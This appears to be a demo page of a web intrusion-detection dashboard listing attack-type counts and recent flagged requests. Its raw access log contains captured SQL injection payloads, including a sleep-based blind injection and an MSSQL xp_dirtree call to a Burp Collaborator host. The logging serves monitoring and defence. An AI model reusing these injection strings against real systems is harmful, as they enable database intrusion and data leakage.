idsthreat

Threat Count
Total Logs 4228982
Anomaly 454720
Normal 2808897
CSRF 1264
LDAP 103598
OSCommand 18558
PathTraversal 153166
SQL 629095
SSI 2
XPath 445
XSS 59237

Latest log

IP Address Country Timestamp Request Url Response Code Type
207.46.13.137 US 14/Feb/2021:03:41:32 GET /?destination=/user/36/contact%3Fpage%3D12&_ex 200 sql
157.55.39.125 US 14/Feb/2021:03:38:46 GET /?destination=/user/43/contact%3Fpage%3D10&_ex 200 sql
185.191.171.25 Unknown 14/Feb/2021:03:38:00 GET /?_exception_statuscode=403&destination=%2Fuse 200 sql
185.191.171.39 Unknown 14/Feb/2021:03:20:22 GET /?_exception_statuscode=403&destination=%2Fuse 200 sql
185.191.171.39 Unknown 14/Feb/2021:02:44:39 GET /?_exception_statuscode=403&destination=%2Fuse 200 sql
3.235.223.222 US 14/Feb/2021:02:39:05 GET / 200 anomaly

Pages

Raw log

IP Address Country Timestamp Request Response Code Url
49.14.128.5 IN 21/Feb/2021:13:04:47 GET 200 /
49.14.128.5 IN 21/Feb/2021:13:03:39 GET 200 /node/669
49.14.128.5 IN 21/Feb/2021:13:01:28 GET 200 /index.php/accessdenied?1%20and%20(select*from(select(sleep(20)))a)--%20=1
49.14.128.5 IN 21/Feb/2021:13:00:51 GET 200 /index.php/accessdenied?1')%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c00ykz7ylcnjkxqttq4bbw5v1nstmhe82zvnpafy4.burpcollab'%2b'orator.net%5ceko'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20=1
49.14.128.5 IN 21/Feb/2021:13:00:00 GET 404 /filter/tips_old

Pages

Demo